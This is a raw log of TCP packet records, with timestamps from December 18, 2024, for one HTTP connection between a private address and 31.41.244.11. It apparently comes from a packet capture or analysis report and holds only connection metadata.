Dec 18, 2024 11:09:26.065781116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.065859079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.065901041 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.067285061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.067327976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.067387104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.067429066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.068809032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.068851948 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.068892002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.068933010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.070333958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.070379019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.070446014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.070488930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.071858883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.071897984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.071965933 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.072007895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.073379040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.073421001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.073456049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.073498964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.074809074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.074852943 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.074899912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.074944019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.076349020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.076394081 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.076402903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.076442003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.077761889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.077807903 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.077855110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.077897072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.079189062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.079233885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.079296112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.079334021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.080684900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.080728054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.080799103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.080841064 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.082118988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.082164049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.082278013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.082320929 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.083528996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.083583117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.083607912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.083650112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.084974051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.085014105 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.085076094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.085119009 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.086384058 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.086441040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.086505890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.086549044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.087801933 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.087848902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.087907076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.087949038 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.089210987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.089225054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.089257956 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.090589046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.090637922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.090698957 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.090738058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.091963053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.092005014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.092041969 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.092080116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.093329906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.093374014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.093472958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.093522072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.094686031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.094731092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.094780922 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.094818115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.096257925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.096302986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.096375942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.096414089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.097603083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.097642899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.097693920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.097735882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.098880053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.098918915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.098931074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.098969936 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.100189924 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.100230932 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.100301027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.100341082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.101567984 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.101603985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.101763010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.101800919 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.102973938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.103013039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.103066921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.103101969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.104309082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.104367971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.104420900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.104459047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.105756044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.105818033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.105834007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.105874062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.107090950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.107132912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.107193947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.107233047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.108583927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.108637094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.108709097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.108750105 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.109849930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.109908104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.109947920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.109988928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.111236095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.111289978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.111341953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.111382961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.112591028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.112643957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.112677097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.112721920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.113986015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.114036083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.114074945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.114116907 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.115394115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.115451097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.115549088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.115592003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.116734982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.116789103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.116879940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.116920948 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.118021011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.118068933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.231098890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.231188059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.231192112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.231231928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.231551886 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.231596947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.231702089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.231743097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.232568979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.232615948 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.232635975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.232678890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.233592987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.233654976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.233695030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.233741045 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.234636068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.234683037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.234790087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.234838963 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.235651970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.235697985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.235765934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.235807896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.236676931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.236721039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.236779928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.236823082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.237670898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.237714052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.237720966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.237762928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.238661051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.238703966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.238740921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.238782883 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.239636898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.239679098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.239751101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.239793062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.240618944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.240663052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.240701914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.240742922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.241688967 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.241731882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.241775990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.241816044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.242634058 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.242676020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.242717981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.242753983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.243566036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.243603945 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.243664980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.243709087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.244575977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.244626999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.244656086 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.244699001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.245527983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.245572090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.245609045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.245651007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.246484995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.246527910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.246666908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.246711969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.247467995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.247514009 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.247622013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.247663021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.248480082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.248522997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.248590946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.248631954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.249468088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.249510050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.249526978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.249567986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.250497103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.250540972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.250616074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.250658989 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.251471996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.251516104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.251586914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.251627922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.252404928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.252449989 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.252552032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.252593994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.253416061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.253459930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.253469944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.253514051 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.254373074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.254445076 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.254477978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.254518986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.255399942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.255445957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.255490065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.255532980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.256325960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.256366968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.256422997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.256460905 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.257318974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.257369995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.257421017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.257458925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.258286953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.258327961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.258402109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.258444071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.259277105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.259325981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.259407997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.259450912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.260277033 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.260323048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.260391951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.260435104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.261240005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.261281013 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.261326075 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.261364937 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.262224913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.262270927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.262418985 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.262459993 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.263195038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.263237000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.263439894 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.263483047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.264182091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.264225960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.264259100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.264300108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.265182972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.265239954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.265381098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.265422106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.266171932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.266217947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.266278982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.266324043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.267349005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.267400026 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.267424107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.267461061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.268141031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.268181086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.268223047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.268264055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.269117117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.269155979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.269212961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.269252062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.270157099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.270200014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.270236969 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.270272017 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.271075010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.271116972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.271217108 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.271251917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.272083998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.272126913 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.272166014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.272205114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.273042917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.273083925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.273121119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.273153067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.274023056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.274068117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.274137974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.274175882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.275002956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.275048018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.275118113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.275158882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.276026011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.276072025 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.276101112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.276139975 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.276947975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.276992083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.277110100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.277148008 CET	49912	80	192.168.2.6	31.41.244.11
